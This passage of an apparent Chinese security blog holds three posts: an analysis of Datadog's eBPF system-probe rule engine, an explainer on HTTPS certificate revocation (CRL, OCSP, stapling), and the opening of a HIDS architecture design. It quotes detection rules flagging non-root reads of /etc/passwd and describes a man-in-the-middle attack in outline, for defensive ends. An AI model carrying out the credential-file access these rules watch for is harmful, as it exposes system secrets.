OOM数据是以HTTP接口方式,提供给客户端调用的,HTTP接口调用时,OOMKillProbe.GetAndFlush函数会读取oom_statsmap里的所有数据,并清空map。将结果返回给HTTP response。 Process 模块 当前模块名字上来看,是用于提供进程数据的接口,但从代码分析上来,并不涉及eBPF probe的HOOK。提供的HTTP接口,也只是根据HTTP request中的PIDS,遍历/proc/{PID}/目录获取相应的进程数据。 SecurityRuntime模块 模块管理器初始化 system-probe包的runCmd命令启动时,把包的所有模块都注册启动了。函数的调用顺序是 run(...) ->StartSystemProbe() ->api.StartServer(cfg) ->module.Register(cfg, mux, modules.All) //module是package的名字 ->module.Register(router) //module是模块名字, module, err := factory.Fn(cfg) 调用每个probe 模块的Register方法,进行模块初始化、模块运行,比如SecurityRuntime模块,在pkg/security/module/module.go的71行 // Register the runtime security agent module func (m *Module) Register(_ *module.Router) error { if err := m.Init(); err != nil { return err } return m.Start() } eBPF字节码加载 在Init方法中,对eBPF 的probe模块进行初始化 // initialize the eBPF manager and load the programs and maps in the kernel. At this stage, the probes are not // running yet. if err := m.probe.Init(m.statsdClient); err != nil { return errors.Wrap(err, "failed to init probe") } USE_SYSCALL_WRAPPER 在模块初始化第一步,读取/proc/kallsyms,搜索open函数的具体syscall函数名,以笔者AMD64 ubuntu 21.04为例,对应的函数名为__x64_sys_open。 如果该函数不包含SyS_或者sys_,则设定useSyscallWrapper变量为true。 编译或加载 根据配置信息中是否启用运行时编译,决定编译或者加载编译好的.o字节码文件。 若编译,则调用runtime.RuntimeSecurity.Compile编译,CLANG编译参数的cflags中增加DUSE_SYSCALL_WRAPPER=1参数。编译过程机制与网络模块一致,略过。 如果是加载预编译,根据useSyscallWrapper的值,选择runtime-security.o或者runtime-security-syscall-wrapper.o相应的版本。 笔者注:关于这参数,网上信息特别少,参见C library system-call wrappers, or the lack thereof和glibc syscall wrapper 内部实现 加载机制跟网络模块一样,走datadog/ebpf-manager包的Manager.InitWithOptions统一处理,不再赘述。 datadog/ebpf-manager基于github.com/cilium/ebpf包做了封装。 perfMap事件处理 handle的设定,与网络模块一样,在模块的managerOptions设置时,做了赋值 //pkg/security/probe/probe.go 160行 p.perfMap.PerfMapOptions = manager.PerfMapOptions{ DataHandler: p.reOrderer.HandleEvent, LostHandler: p.handleLostEvents, } p.reOrderer.HandleEvent对perfMap处理时,增加了metric的统计信息,之后调用p.handleEvent来处理。该函数定义在 pkg/security/probe/probe.go中。 单向写入 在内核态中,所有probe hook的点产生的时间,都写入到events这个perfMap中。 普通Map管理 datadog-agent的用户态与内核态数据交互需求上,也实现也基于eBPF map的双向读写。 concurrent_syscalls exec_count_bb exec_count_fb noisy_processes_fb proc_cache pid_cache 内核态读写 这些map在内核态会被写入数据,而在用户态会用于查找、删除操作。 比如,进程创建时,触发SEC("kprobe/do_dentry_open") HOOK点后,内核态调用handle_exec_event函数会先查询proc_cache map是否有当前进程对应父进程的数据,之后再把自己进程信息存入proc_cache map。 用户态读 在用户态,也可以根据PID信息查找pid_cache map ,拿到cookie后,再到proc_cache map查询进程entry信息。 events的数据结构 在SecurityRuntime模块里,eBPF map用在内核态与用户态通讯时,使用统一封装的Event结构体,在eBPF 的内核态对应struct syscall_cache_t,包含多个事件类型的union struct。 events解析派发 用户态的go语言中,采用统一封装的大结构体Event解析内核态发来的数据。event.UnmarshalBinary读取包header信息,设定事件类型,再根据事件类型交付给Event的对应属性,对应解码方法解析消息内容。比如Event.Chmod.UnmarshalBinary来解码字节流。以下是Go中结构体的: // pkg/security/secl/model/model.go line 118 type Event struct { ID string `field:"-"` Type uint64 `field:"-"` TimestampRaw uint64 `field:"-"` Timestamp time.Time `field:"timestamp"` // Timestamp of the event ProcessContext ProcessContext `field:"process" event:"*"` SpanContext SpanContext `field:"-"` ContainerContext ContainerContext `field:"container"` Chmod ChmodEvent `field:"chmod" event:"chmod"` // [7.27] [File] A file’s permissions were changed Chown ChownEvent `field:"chown" event:"chown"` // [7.27] [File] A file’s owner was changed Open OpenEvent `field:"open" event:"open"` // [7.27] [File] A file was opened Mkdir MkdirEvent `field:"mkdir" event:"mkdir"` // [7.27] [File] A directory was created Rmdir RmdirEvent `field:"rmdir" event:"rmdir"` // [7.27] [File] A directory was removed Rename RenameEvent `field:"rename" event:"rename"` // [7.27] [File] A file/directory was renamed Unlink UnlinkEvent `field:"unlink" event:"unlink"` // [7.27] [File] A file was deleted Utimes UtimesEvent `field:"utimes" event:"utimes"` // [7.27] [File] Change file access/modification times Link LinkEvent `field:"link" event:"link"` // [7.27] [File] Create a new name/alias for a file SetXAttr SetXAttrEvent `field:"setxattr" event:"setxattr"` // [7.27] [File] Set exteneded attributes RemoveXAttr SetXAttrEvent `field:"removexattr" event:"removexattr"` // [7.27] [File] Remove extended attributes Exec ExecEvent `field:"exec" event:"exec"` // [7.27] [Process] A process was executed or forked SetUID SetuidEvent `field:"setuid" event:"setuid"` // [7.27] [Process] A process changed its effective uid SetGID SetgidEvent `field:"setgid" event:"setgid"` // [7.27] [Process] A process changed its effective gid Capset CapsetEvent `field:"capset" event:"capset"` // [7.27] [Process] A process changed its capacity set SELinux SELinuxEvent `field:"selinux" event:"selinux"` // [7.30] [Kernel] An SELinux operation was run BPF BPFEvent `field:"bpf" event:"bpf"` // [7.33] [Kernel] A BPF command was executed Mount MountEvent `field:"-"` Umount UmountEvent `field:"-"` InvalidateDentry InvalidateDentryEvent `field:"-"` ArgsEnvs ArgsEnvsEvent `field:"-"` MountReleased MountReleasedEvent `field:"-"` } 这里实现了多event类型的统一处理,但各个event之间耦合严重,event类型增加减少都需要影响上层代码,从设计模式上来看,问题比较大。并且,大的结构体的实力化也带来较大的内存占用,冗余严重。这里设计很差。 在内核发送来的事件处理上,针对进程事件除了解析之外,还有额外调用ProcessResolver.AddExecEntry将进程创建数据缓存。便于HTTP接口获取当前主机进程的全量列表。 统计对账 在handleEvent处理事件的同时,调用了perfBufferMonitor.CountEvent对事件的类型、时间、次数、长度、CPU ID做了计数,用于事件完整率对账,同时间接的用于观测当前系统的事件量大小,用作评估系统繁忙的间接依据。 事件威胁风险评估 Event结构体属性修正完后,*Probe.DispatchEvent将这个事件派发出去,送给规则引擎做安全模型评估。 规则引擎的实现,在NewRuleSet中,根据配置信息,针对不同的事件类型选择不同的规则集合,分别进行风险威胁评估。如果事件类型没有规则,则直接放过。 // 模块的HandleEvent调用ruleSet.Evaluate来评估事件。这里在处理多个事件时,采用了对象池的做法来管理内存。ruleSet规则集合中的eventRuleBuckets属性是模块的包含所有事件类型的总规则集合。 每种事件类型对应的bucket包含多个rules []*Rule, 评估时,遍历所有rules进行规则判断。 规则全匹配 如果命中规则,则将命中结果、命中规则信息、事件信息发送给规则的所有监听器(比如告警系统,关联事件处理器等) 规则部分匹配 如果没命中规则,则根据配置的每个字段,进行部分匹配判断, 若命中,则返回true。(但是,笔者看代码中,没发现有判断Evaluate函数的返回值) 若没命中,则准备丢弃,将事件与规则信息,发送给规则的所有监听器,以及发送到远程服务器,便于做规则调整。 风险检测规则引擎 实现上,是datadog自己做了一套AST语法分析的包,在pkg/security/secl/compiler下,识别的表达式,也是类似go语法的逻辑判断表达式。 规则配置时,只要根据上面Event的每个子event的属性来编写即可。比如 rules := []string{ `open.filename == "/etc/passwd" && process.uid != 0`, `(open.filename =~ "/sbin/*" || open.filename =~ "/usr/sbin/*") && process.uid != 0 && open.flags & O_CREAT > 0`, `(open.filename =~ "/var/run/*") && open.flags & O_CREAT > 0 && process.uid != 0`, `(mkdir.filename =~ "/var/run/*") && process.uid != 0`, } 规则字符串看上去比较直观,容易理解。 项目中,提供了一个默认的规则模版,在仓库里的runtime/default.policy 下。 事件结果上报 在规则引擎判断完威胁后,不论结果如何,都仍会将结果异步发送至远程数据中心。 这些上报的数据中,包含完整的内核态发送来的原始数据,以及本地规则引擎命中信息,识别结果等数据。方便远程数据中心做大数据分析、建模、验证、调整检测规则,来提升召回率和准确率。 TCPQueueLength模块 该模块与OOMKillProbe模块类似,只支持本地编译字节码,不支持加载预先编译的.o字节码。 业务功能上偏向于TCP的发送、接收包大小,与安全无关。加载机制上也与其他模块一直,故不再分析。 产品视角总结 datadog-agent支持包含windows、linux、IOT、android等多种系统平台,当然不同平台的支持程度不一样,本文的总结以支持eBPF的Linux为背景,给出这些总结。 业务特性区分不同map 产品中分别使用了*PerfMap对应BPF_MAP_TYPE_PERF_EVENT_ARRAY,这类业务对时间顺序有严格要求,事件读取后,会按照CPU时间排序。若对时间顺序无要求,则使用BPF_MAP_TYPE_ARRAY 、BPF_MAP_TYPE_LRU_HASH、BPF_MAP_TYPE_HASH等其他类型。 事件类型丰富 多个probe的字节码文件,支持包含系统运行时、网络、内核等事件的感知发送。包含 文件 权限变更 所有者变更 打开 目录创建 改名 软链 查看时间 别名 设置属性 移除属性 进程 进程创建 UID设置 GID设置 cap设置 内核 SELinux命令 BPF调用 系统 目录挂载 目录卸载 ARGS/ENGS设置 OOM事件 网络事件(IPv4/IPv6) TCP链接创建、发送数据、关闭链接 UDP链接创建、发送数据、关闭链接 SOCKET链接创建、发送数据、关闭链接 字段属性丰富 比如进程事件,包含 进程属性 进程文件系统属性 进程启动参数 环境变量 父进程信息(不全) 其他进程事件不在一一罗列,见pkg/security/secl/model/model.go内相关事件结构体。 多事件信息合并 在模块内部有部分事件的缓存,用于应对多个事件之间的关联,也可以用作本地规则引擎判断的数据补充。比如先设置环境变量,再执行进程创建命令。 配置识别判断规则远程下发 远程重新加载配置,以更新网络规则、安全事件识别规则。 多重事件风险判断 本地判断 包含完整匹配 部分匹配 远程判断、纠偏 本地判断更快的处理威胁场景,减轻远程数据中心处理压力。远程数据中心离线分析,威胁识别校验,感知新的威胁事件,优化改进识别规则。新规则快速应用到本地,提升检出效率。 事件数据管理 灵活注册事件接收器 事件数据监控(告警在远程服务器) 事件数据统计对账 linux多版本支持 不支持CO-RE,采用本地编译方式,依赖本地编译环境,不适合大型企业的HIDS场景。 以我司为例,内核版本分布相对清晰,版本种类不多,更适合预先编译相应字节码文件,HIDS Agent按照系统版本加载相应的字节码文件。 总结 datadog的system-probe模块使用了eBPF技术研发,实现了网络管理、运行时安全、系统状态感知等几个功能,支持运维、安全两个场景。其中核心模块在网络与运行时安全两个场景。故本文重点分析了这两个场景的技术实现与业务特性。 优点: 在上面产品视角分析中已经提到了。是一个功能、数据比较齐全的安全产品,数据满足各种入侵类型的建模,并且有多重安全模型分析机制,具备良好的事件上报、监控告警能力,具备数据统计、对账能力。 不足: 该产品以安全数据收集、检测为主,缺少安全防御功能。在已有功能中,没有看到限速限流、资源占用控制等功能。 在工程质量上吐槽点特别多,比如奇葩包的路径、几十种go package的go/C混编译、跨包修改变量、go generate/go build 乱调、混合C/C++/go/python多种语言、自定义N种go build tags、硬编码严重、部分功能耦合严重、扩展性差。这可能就是历经N年,多代程序员累计的shitcode屎山吧。 参考资料 https://github.com/DataDog/datadog-agent Runtime Security Monitoring with eBPF 2021-12-16 0 0
你不在意的HTTPS证书吊销机制 缘起 偶刷《长安十二时辰》,午睡时,梦到我穿越到了唐朝,在长安城中的靖安司,做了一天的靖安司司丞。 当徐宾遇害消失的时候我不在司内,当时的情形我不得而知。后来徐宾醒了,据他描述说“通传陆三”是暗桩,险些致徐宾于死地。而擅长大案牍术的高智商人才居然被一个普通通传的几句话骗至险境,实在丢了我的脸。 陆三是通传,熟知靖安司的号令传递系统望楼信号,他是暗桩的消息,传遍整个机构。这让张小敬和姚汝能认为望楼系统已无法完成消息保密传送的功能,其实他们根本不了解这望楼。 整个望楼系统由“传递系统+加密系统”组成,靖安司作为一个军事级别的机构,信息传递绝对是多重加密的。只看懂望楼图案,或者只有密码本都是破译不了密码的,对于通传陆三是暗桩的影响,也只需要更换密码本即可。这些可是我学了RSA非对称加密后设计的望楼系统,早就评估过这些风险了。 即使HTTPS通讯中,丢了密钥也... 嗯?如果HTTPS证书私钥丢了,会怎样?是不是也没法防范这个私钥被利用了? 想到这个问题,我突然从梦中惊醒,去温故一下证书吊销机制。 疑问 HTTPS的证书过期是谁来判断? 证书的合法性又是谁检查的呢? 什么时候触发? 影响性能吗? 如何吊销证书? HTTPS的请求是客户端(浏览器)发起的,他是如何知道证书被吊销的? 验证HTTPS证书的过程是什么样的? HTTPS 通讯过程 大家都清楚,HTTPS的握手是在TCP握手完成后,流程都熟的很,但还是要温故一下: 客户端发送Client Hello,附带支持的加密套件算法、版本、以及随机数Random1. 服务端选择合适的加密套件,返回Server Hello,附带一个随机数Random2. 服务端将自己的证书Certificate发送给客户端。 客户端将自己的证书Certificate发送给服务端(证书登录认证的情况)。 客户端校验证书Certificate Verify。 生成Random3,再用三个Random1,Random2,Random3计算PreMaster Key,并用公钥加密。 Client Cipher Spec,客户端通知服务端,编码改变后的消息,都通过对称加密来进行。 Encrypted HandShake Message 是一个finish消息,表示客户端握手完成,将使用协商好的密钥进行加密,发送给服务端。服务端收到后,对消息进行解密,如果能解密成功,则表明双方是同一个密钥。 对于证书检验这块,相信很多人都不太了解,甚至都不知道会检验什么内容,那么下面我们就来了解一下。 证书完整性验证 使用RAS公钥加密来验证证书上的签名是否合法,如果签名无效,则可认定证书被修改,直接报错。 证书有效性验证 CA在颁发证书时,都为每个证书设定了有效期。包括开始时间与结束时间。系统当前时间不在证书起止时间的话,都认为证书是无效的。 证书吊销状态检测 如果,证书在有效期之内需要丢了怎么办?需要吊销证书了,那么这里就多了一个证书吊销状态的检测。用户将需要吊销的证书通知到CA服务商,CA服务商通知浏览器该证书的撤销状态。 来看一个证书吊销后的浏览器提醒 Chrome返回了NET::ERR_CERT_REVOKED,并且拒绝继续访问,更不提供强制访问的接口,没了继续访问的手动点击链接。 验证发行者 HTTPS数字证书的使用分两个角色 证书发行方issuer,有签名密钥的私钥 证书申请方subject,使用证书公钥进行身份验证的用户 浏览器检查证书的发行者字段与证书路径中上级证书的Suject字段相同。 为了增加安全性,大多数PKI实现还验证发型方的密钥、签名跟当前证书的密钥相同。 但对于信任链来说,根证书自己签发的,也就是说它们的issuer和subject是一样的。 同时,这些CA根证书都是被操作系统、浏览器等直接打入系统的。比如 检查域名(IP)规范 中间CA提供了对域名证书的管理以及颁发颁发的颗粒度度控制。证书的生效范围会限于固定域名、域名范围(包括子域)或者固定IP。 比如下图是https://www.baidu.com的HTTPS证书DNS信息 上图所示,DNS范围包含了多个域名,同时二级以及二级以上域名都支持范围形式。以*通配义字符表示。但*.example.com的二级域名范围就不能包含a.b.example.com这个三级域名。同时,DNS范围也支持IP的,只是IP不支持范围形式,必须把所有IP列表都放入列表中。(PS:百度的证书管理可真乱。) 检查策略约束 法律策略相关检测(略)。 证书的吊销状态检测方式 上面提到了浏览器(客户端)在验证证书合法性时的验证范围,我们暂时只关注证书吊销信息的检测,下面我们仔细来了解一下两种检测机制的实现原理。 Certificate Revocation Lists (CRL) CA会定期更新发布撤销证书列表,Certificate Revocation Lists (以下简称CRL),RFC 5280: Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile。 CRL分布在公共可用的存储库中,浏览器可以在验证证书时获取并查阅CA的最新CRL。 该方法的一个缺陷是撤销的时间粒度限于CRL发布期。只有在计划更新所有当前发布的CRL之后,才会通知浏览器撤销。 各家签名CA厂商的策略不一样,有的是几小时,有的是几天,甚至几周。 2015年,美国几所大学的学生论文中,统计了当时的CA证书吊销情况,如下图: 这个统计可以看出,CA证书厂商的CRL数量不一,大部分是30-50个,而GoDaddy有300多个CRL的地址,同时有近30W个证书是吊销状态的,文件大小平均达到了1M。 证书的CRL信息 CRL信息是CA在颁发证书时,写入在X.509 v的扩展区域的,比如alipay.com的证书信息: 可以看到,其CRL信息为http://crl3.digicert.com/SecureSiteCAG2.crl 以及http://crl4.digicert.com/SecureSiteCAG2.crl CRL 检测流程 可以想象一下,在浏览器去校验证书合法性时,还要去下载一个1M的文件后,再去校验。校验通过后才去连想要访问的网站服务器,这相当浪费时间、效率。 同时,很多浏览器所处网络是有网络访问限制的,可能在一个局域网,比如我们村,或者物理距离非常远,存在严重的网络延迟问题。 Online Certificate Status Protocol (OCSP) 为了解决单个文件大,延迟性高等问题,迎来了新的解决方案Onlie Certificate StatusOCSP(以下简称OCSP)。 在RFC2560X.509 Internet Public Key Infrastructure Online Certificate Status Protocol - OCSP的描述中,浏览器从在线OCSP服务器(也称为OCSP Response Server)请求证书的撤销状态,OCSP Server予以响应。这种方法避免CRL更新延迟问题。同样的,X.509 v3证书的OCSP信息也是存储在拓展信息中,如alipay.com证书那张图的绿色框内部分。 OCSP 检测流程 浏览器在获得Web服务器的公钥证书后,开始验证公钥的合法性,这里会向该公钥的扩展信息中提供的OCSP Server地址发送OCSP Request,获得响应后,确认证书有效,再继续跟Web服务器通信。 OCSP的优点 相对于CRL方式,证书吊销后,CA Server可以立刻将吊销信息发送给浏览器,生效时间快。响应包内容短,不像CRL的响应包,都将近1M以上。 OCSP的缺点 浏览器的每次HTTPS请求创建,都需要连接CA OCSP Server进行验证,有的浏览器所在IP与CA OCSP Server的网络并不是通畅的,比如我们村。而且,OCSP的验证有网络IO,花费了很长的时间,严重影响了浏览器访问服务器的用户体验。 在浏览器发送服务器HTTPS证书序号到CA OCSP Server时,也将暴露了用户的隐私,将用户访问的网址透漏给了CA OCSP Server。 OCSP机制衍生出来的问题 设想一个场景,你是浏览器企业,研发的浏览器在检查证书吊销状态时,得不到OCSP server的响应,你会如何选择? 如果你选择拒绝该证书信息,并且拒绝后续的HTTPS通讯,那么这个方式称之为Hard-fail 如果你选择信任该证书,认为没有被吊销,那么这个方式称之为Soft-fail 如果是hard-fail模式,那浏览器对任何HTTPS服务器访问的先决条件都取决于OCSP Server,这将是一个致命的单点故障,对于具有资深架构设计经验的你来说,你会这么选择吗? 如果是soft-fail模式,取不到OCSP Server的响应就忽略了,那么,要这个机制还有啥意义呢?要你有何用? OCSP Stapling OCSP Stapling的方案是解决了CRL、OCSP的缺点,将通过OCSP Server获取证书吊销状况的过程交给Web 服务器来做,Web 服务器不光可以直接查询OCSP信息,规避网络访问限制、OCSP服务器离用户的物理距离较远等问题,还可以将查询响应缓存起来,给其他浏览器使用。由于OCSP的响应也是具备CA RSA私钥签名的,所以不用担心伪造问题。 解决了访问慢的问题 解决了用户隐私泄露的问题 通讯过程如上,但对于Web服务器在去OCSP Server查询证书状态时,也同样面临无法获取到OCSP Response的问题,在响应给浏览器时,浏览器也还是要面临hard-fail、soft-fail的选择问题,这很让浏览器头大。 OCSP Must-Staple 面对hard-fail、soft-fail的问题,各家浏览器厂商的态度都不一样。同时,不管浏览器如何选择,都不能满足广大域名用户的需求,那么不如把这个选择交给域名用户自己。 为此,OCSP Must-Staple应然而生了,浏览器必须检测OCSP响应。域名证书创建时,自定义设定启用这个选项,将这个信息打入X.509 v3的扩展中,浏览器读取后,强制进行OCSP检测,走hard-fail模式。这个规范被起草在 X.509v3 Extension: OCSP Stapling Required draft-hallambaker-muststaple-00 ,不过,暂未被采纳为RFC标准。 CA厂商支持 目前支持该扩展的证书的CA厂商有Let's Encrypt。 如果使用的是openssl 1.1.0 以前的版本,可以使用11.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05 来指定。RFC 比如生成csr的时候,在openssl.cnf中增加: [v3_req ] basicConstraints = CA:FALSE keyUsage = nonRepudiation, digitalSignature, keyEncipherment subjectAltName = @alt_names 1.3.6.1.5.5.7.1.24 = DER:30:03:02:01:05 如果是使用openssl 1.1.0或更高的版本,可以这样设置: [ v3_req ] basicConstraints = CA:FALSE keyUsage = nonRepudiation, digitalSignature, keyEncipherment subjectAltName = @alt_names tlsfeature = status_request 各平台上浏览器对证书吊销的支持情况 Mac Safari 在Mac OS X 10.7 (Lion)以后,Safari/macOS默认情况下,不检测CRLs、OCSP,走自己的key chain体系。(资料比较少,apple官方也搜不到几条) Windows Internet Explorer Windows Vista系统开始,Internet Explorer 7浏览器内置了CryptoAPI,来支持OCSP方式检测证书吊销情况。检测范围包括issuer发行商的证书、subject服务器的证书。 为什么IE访问HTTPS的网站时,会比别的浏览器慢?你应该已经知道答案了。 Mozilla Firefox 在2010年时,Mozilla Firefox的所有版本都支持OCSP方式检测。在Firefox 3里把OCSP检测机制设定为默认机制。 在以后的版本更新中,Firefox针对中级证书跟域名证书做了不同的策略 中级证书的吊销状态验证 在2015年,Firefox 37开始,针对中级证书的检测,Mozilla也启用了自研的证书吊销状况检查机制OneCRL来代替OCSP机制,目的还是想解决CRL、OCSP机制的缺点。 而中级证书是不能采用OCSP stapling方式,不允许被缓存的。所以... 还有, RFC 6961 defines a mechanism for stapling OCSP responses for CA certificates. Since FIrefox does not rely on OCSP to validate intermediate certificates, we have no plans to implement support for this. Firefox 官方短期内并无支持Multi-staple的打算。 域名证书的吊销状态验证 在Firefox的官方WIKI上,提到针对域名证书的吊销验证分为如下5个方案: Short-Lived Certificates ,默认情况下,针对有效期少于10天的证书,直接跳过验证,认为不安全。可以在security.pki.cert_short_lifetime_in_days参数里配置。 OCSP Stapling,跟RFC规范一样。如果security.OCSP.enabled的值为0,则忽略OCSP response。 OCSP Must-staple,跟RFC规范一样。可以通过设置security.ssl.enable_ocsp_must_staple或security.ssl.enable_ocsp_stapling 参数来禁用。 OCSP,跟RFC规范一样。如果OCSP的响应在2秒(EV证书是10秒)内没返回,则直接忽略。 CRLite chrome 2012年,Chrome禁用了CRLs、OCSP检测: Google Chrome Will No Longer Check for Revoked SSL Certificates Online ,使用了自行设计的证书校验机制 CRLSets 那么,Chrome这么选择的理由是什么呢? 显然,通过上面CRL跟OCSP两种验证方式的比较来看,前者时效性不行,后者影响性能。那么,google Chrome就决定自建证书吊销状态验证系统。 Chrome的安全工程师Adam Langley在他的BLOG上写了一篇文章:《Revocation checking and Chrome's CRL》, 对于Chrome的HTTPS证书验证这块,Adam Langley可是非常有看法的,非常反对使用CRL、OCSP的方式来校验证书吊销状态,连续写了好几篇关于证书吊销状态检测的文章,同时,也在chromium的开发者主页上的安全板块有提到:What's the story with certificate revocation? Chrome's primary mechanism for checking the revocation status of HTTPS certificates is CRLsets. Chrome also supports Online Certificate Status Protocol (OCSP). However, the effectiveness of OCSP is is essentially 0 unless the client fails hard (refuses to connect) if it cannot get a live, valid OCSP response. No browser has OCSP set to hard-fail by default, for good reasons explained by Adam Langley (see [Revocation still doesn't work](No, don't enable revocation checking) and https://www.imperialviolet.org/2014/04/19/revchecking.html). Stapled OCSP with the Must Staple option (hard-fail if a valid OCSP response is not stapled to the certificate) is a much better solution to the revocation problem than non-stapled OCSP. CAs and browsers are working toward that solution (see the Internet-Draft: http://tools.ietf.org/html/draft-hallambaker-tlssecuritypolicy-03). Additionally, non-stapled OCSP poses a privacy problem: in order to check the status of a certificate, the client must query an OCSP responder for the status of the certificate, thus exposing a user's HTTPS browsing history to the responder (a third party). That said, you can use enterprise policies to enable soft-fail OCSP (http://www.chromium.org/administrators/policy-list-3#EnableOnlineRevocationChecks) and hard-fail OCSP for local trust anchors (http://www.chromium.org/administrators/policy-list-3#RequireOnlineRevocationChecksForLocalAnchors). Chrome performs online checking for Extended Validation certificates if it does not already have a non-expired CRLSet entry covering the domain. If Chrome does not get a response, it simply downgrades the security indicator to Domain Validated. See also this bug for more discussion of the user-facing UX: https://crbug.com/361820. 但这也不是完美解决了这个问题,来自An Evaluation of the Effectiveness of Chrome's CRLSets This means that Chrome's CRLSet, which currently lists the serial numbers of 24,206 revoked certificates, reflects only 1.08% of the revoked certificates collected by Websense in one hour. 这篇文章中提到CRLSet的最大问题是包含的证书吊销数据太少,个别情况下占了主流CRL证书吊销信息的2%不到。而且,CRLSets的更新也不是那么及时,chrome为了用户体验,为了性能,为了用户隐私,牺牲了一点点安全性,也是可以理解的。但好像对不起最安全浏览器的称号了。[手动狗头]😂 汇总 如上图,在2015年,Northeastern University、University of Maryland、Duke University等几所大学的研究人员分析了市场上流行的五个浏览器(多个平台、多个版本),把各个浏览器在不同级别证书下的支持情况绘制了表格。(论文在参考文献中给出) 从图中可以看出,我们印象中最安全的浏览器Chrome表现却让你大跌眼镜,在HTTPS的安全性这块,表现最差。上面我们也谈到,chrome为了访问速度隐私等用户体验考虑,忽略了CRL、OCSP等证书吊销状态检测机制,牺牲了TLS这块的安全性支持。 而IE浏览器却出乎我们意料,在HTTPS的安全性这块,支持的非常好,可以说是这几个浏览器中最安全的了,可是...可是他网页打开速度慢啊...😂 截至至今天(2019年7月16日),已经4年过去了,很多浏览器、WebServer的支持情况也有很大的变化,并不能反映出当下互联网的现状,这些数据也作为参考吧。 附:WebServer的支持情况 The Apache web server has supported OCSP stapling since v2.3.3 (ref). The nginx web server has supported OCSP stapling since v1.3.7 (ref). 总结 证书泄露的危害 那么,证书丢了,会对网站安全产生很大影响吗? 回头看下使用该证书的条件 具备证书 具备域名 浏览器访问该服务器 如果几个都具备,那么你就是该网站的官方了。 在安全界,有个攻击手段,叫Man-in-the-middle attack中间人攻击,如果证书被黑客拿到,搭建一个具备相同域名的网站,通过DNS污染的方式使得用户浏览器方位该域名,那么可以成为一个反向代理,把用户的请求解析后,伪造程客户端来跟真实的Web服务器通讯,从而获取双方通信的明文信息,达到攻击的目的。 那这种情况怎么防范?中间人攻击的防御方式是开启客户端对证书的认证,但你的证书私钥又丢了,那能咋办? 通过本文前面章节的了解到,这种情况,也只能去 主动到CA厂商那申请证书吊销了,不管有几个浏览器支持,也得申请,毕竟,这损失能减少一点是一点。 证书泄露了怎么办? 证书泄露了怎么办?从浏览器的支持情况来看,好像及时申请吊销了证书,也不能对丢失的证书起到太大的防范作用,很多浏览器并不是很支持的嘛。 不过,多少也能避免一些损失,毕竟IE浏览器对这块的支持力度还是很大的嘛。 注 本文的参考文献,大部分都是5-6年前的资料,这么多年过去了,互联网技术产品日新月异,里面很多结论早已不符合现状,尤其是浏览器当今对证书吊销状态检测的支持情况。部分内容,仅作为参考,便于读者去了解技术变迁的背景知识。 本文会持续修正文中错别字、排版、错误数据等,建议回到原文阅读。 立个flag 过段时间,把整个X.509 v3的知识点都整理一下,做个内部分享? PEM、CRT、PFX、PKCS#7、PKCS#12、pfx、DER、JKS、KDB、CER、KEY、CSR、CRT、CRL都是什么? ASN.1 又是什么? 立起?🐶🐶🐶 招聘 macOS技术专家 Java高级工程师 详情见https://www.cnxct.com/jobs/ 参考文献 RFC3280 Internet X.509 Public Key Infrastructure Certificate High-reliability OCSP stapling and why it matters Security Certificate Revocation AwarenessThe case for “OCSP Must-Staple” Security Certificate Revocation AwarenessSpecific Implementations Security Sidebar: My Browser Has No Idea Your Certificate Was Just Revoked SSL certificate revocation and how it is broken in practice Revoking Intermediate Certificates: Introducing OneCRL Revocation doesn't work (18 Mar 2011) Revocation checking and Chrome's CRL (05 Feb 2012) No, don't enable revocation checking (19 Apr 2014) Revocation still doesn't work (29 Apr 2014) An End-to-End Measurement of Certificate Revocation in the Web’s PKI 结束 嗯?话说《长安十二时辰》中望楼消息传送机制的加固呢? 嗨,梦都醒了,谁还记得这事啊。 2019-07-16 +1 5 0
保障IDC安全:分布式HIDS集群架构设计 背景 近年来,互联网上安全事件频发,企业信息安全越来越受到重视,而IDC服务器安全又是纵深防御体系中的重要一环。保障IDC安全,常用的是基于主机型入侵检测系统Host-based Intrusion Detection System,即HIDS。在HIDS面对几十万台甚至上百万台规模的IDC环境时,系统架构该如何设计呢?复杂的服务器环境,网络环境,巨大的数据量给我们带来了哪些技术挑战呢? 需求描述 对于HIDS产品,我们安全部门的产品经理提出了以下需求: 满足50W-100W服务器量级的IDC规模。 部署在高并发服务器生产环境,要求Agent低性能低损耗。 广泛的部署兼容性。 偏向应用层和用户态入侵检测(可以和内核态检测部分解耦)。 针对利用主机Agent排查漏洞的最急需场景提供基本的能力,可以实现海量环境下快速查找系统漏洞。 Agent跟Server的配置下发通道安全。 配置信息读取写入需要鉴权。 配置变更历史记录。 Agent插件具备自更新功能。 分析需求 首先,服务器业务进程优先级高,HIDS Agent进程自己可以终止,但不能影响宿主机的主要业务,这是第一要点,那么业务需要具备熔断功能,并具备自我恢复能力。 其次,进程保活、维持心跳、实时获取新指令能力,百万台Agent的全量控制时间一定要短。举个极端的例子,当Agent出现紧急情况,需要全量停止时,那么全量停止的命令下发,需要在1-2分钟内完成,甚至30秒、20秒内完成。这些将会是很大的技术挑战。 还有对配置动态更新,日志级别控制,细分精确控制到每个Agent上的每个HIDS子进程,能自由地控制每个进程的启停,每个Agent的参数,也能精确的感知每台Agent的上线、下线情况。 同时,Agent本身是安全Agent,安全的因素也要考虑进去,包括通信通道的安全性,配置管理的安全性等等。 最后,服务端也要有一致性保障、可用性保障,对于大量Agent的管理,必须能实现任务分摊,并行处理任务,且保证数据的一致性。考虑到公司规模不断地扩大,业务不断地增多,特别是美团和大众点评合并后,面对的各种操作系统问题,产品还要具备良好的兼容性、可维护性等。 总结下来,产品架构要符合以下特性: 集群高可用。 分布式,去中心化。 配置一致性,配置多版本可追溯。 分治与汇总。 兼容部署各种Linux 服务器,只维护一个版本。 节省资源,占用较少的CPU、内存。 精确的熔断限流。 服务器数量规模达到百万级的集群负载能力。 技术难点 在列出产品需要实现的功能点、技术点后,再来分析下遇到的技术挑战,包括不限于以下几点: 资源限制,较小的CPU、内存。 五十万甚至一百万台服务器的Agent处理控制问题。 量级大了后,集群控制带来的控制效率,响应延迟,数据一致性问题。 量级大了后,数据传输对整个服务器内网带来的流量冲击问题。 量级大了后,运行环境更复杂,Agent异常表现的感知问题。 量级大了后,业务日志、程序运行日志的传输、存储问题,被监控业务访问量突增带来监控数据联动突增,对内网带宽,存储集群的爆发压力问题。 我们可以看到,技术难点几乎都是服务器到达一定量级带来的,对于大量的服务,集群分布式是业界常见的解决方案。 架构设计与技术选型 